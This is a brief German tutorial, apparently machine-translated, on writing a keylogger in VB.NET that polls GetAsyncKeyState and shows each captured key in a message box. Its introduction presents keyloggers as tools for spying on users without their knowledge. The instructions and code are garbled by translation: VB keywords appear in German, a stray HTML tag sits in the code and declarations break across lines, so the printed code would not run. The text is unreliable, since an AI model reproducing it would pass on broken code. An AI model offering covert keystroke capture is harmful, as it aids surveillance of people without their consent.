Wissen, wie man einen Keylogger mit Microsoft Visual Basic.NET ( VB.NET) machen können sparen Sie Zeit, wenn Sie eine Anwendung, die alle Schlüssel eingegeben erfasst entwickeln müssen . Keylogger -Programme werden häufig verwendet, um auszuspionieren, oder erhalten Informationen, ohne den Benutzer herauszufinden, das Programm läuft . Gesetze sind je nach Land auf, wie Sie ein Keylogger -Programm verwenden. Things You
Microsoft Visual Basic Express
brauchen anzeigen Weitere Anweisungen
1
Starten Sie Microsoft Visual Basic Express . Klicken Sie auf " Neues Projekt ... " auf der linken Seite des Bildschirms , und wählen Sie dann "Windows Forms-Anwendung. " Klicken Sie auf " OK".
2
Doppelklicken Sie auf " Timer " auf der "Toolbox" Fenster, um einen neuen Timer -Steuerelement hinzuzufügen . Der rechten Maustaste auf " Timer1 ", und wählen Sie dann "Eigenschaften". Weiter zu " Aktiviert " wählen, "Wahre . " . Doppelklicken Sie auf " Timer1 ", um die " Form1.vb " -Fenster zu öffnen
3
Geben Sie den folgenden Code oben " Timer1_Tick ", um die " GetAsyncKeyState " Funktion zu deklarieren :
< p > Public Declare Function GetAsyncKeyState Lib " user32.dll " (ByVal VKEY Wie Int32 ) As UShort
4
Geben Sie den folgenden Code unter " Timer1_Tick " , um Schlüssel eingegeben zu erfassen , während die Anwendung ausgeführt wird:
Dim keyResult As Integer Dim
chrKey As String Dim i
As Integer
For i = 2 To 90
keyResult = 0
keyResult = GetAsyncKeyState ( i)
Wenn keyResult = -32767 Dann
chrKey = Chr ( i)
MsgBox ( chrKey )
Exit For End If
Next i
5
Presse "F5 ", um das Programm zu starten , drücken Sie "B" auf der Tastatur , und Sie werden sehen, ein Message-Box mit dem Buchstaben "B"
angezeigt